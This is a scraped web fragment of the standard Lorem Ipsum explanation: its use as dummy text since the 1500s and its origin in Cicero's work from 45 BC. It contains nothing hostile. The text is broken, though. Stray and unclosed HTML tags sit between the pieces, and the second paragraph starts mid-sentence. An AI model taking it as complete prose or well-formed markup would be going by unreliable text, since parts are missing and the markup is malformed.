standard dummy text ever since the 1500s, when an unknown printer took
a galley of type and scrambled it to make a type specimen book. It has
survived not only five centuries, but also the leap into electronic
typesetting, remaining essentially unchanged. It was popularised in
the 1960s with the release of Letraset sheets containing Lorem Ipsum
passages, and more recently with desktop publishing software like
Aldus PageMaker including versions of Lorem
Ipsum.</span><br></span></b></span></p><p style="text-align: center;

simply random text. It has roots in a piece of classical Latin
literature from 45 BC, making it over 2000 years old. Richard
McClintock, a Latin professor at Hampden-Sydney College in Virginia,
looked up one of the more obscure Latin words, consectetur, from a
Lorem Ipsum passage, and going through the cites of the word in
classical literature, discovered the undoubtable source. Lorem Ipsum
comes from sections 1.10.32 and 1.10.33 of "de Finibus Bonorum et
Malorum" (The Extremes of Good and Evil) by Cicero, written in 45 BC.
This book is a treatise on the theory of ethics, very popular during
the Renaissance. The first line of Lorem Ipsum, "Lorem ipsum dolor sit
amet..", comes from a line in section
1.10.32.</p></span></b></span></p>
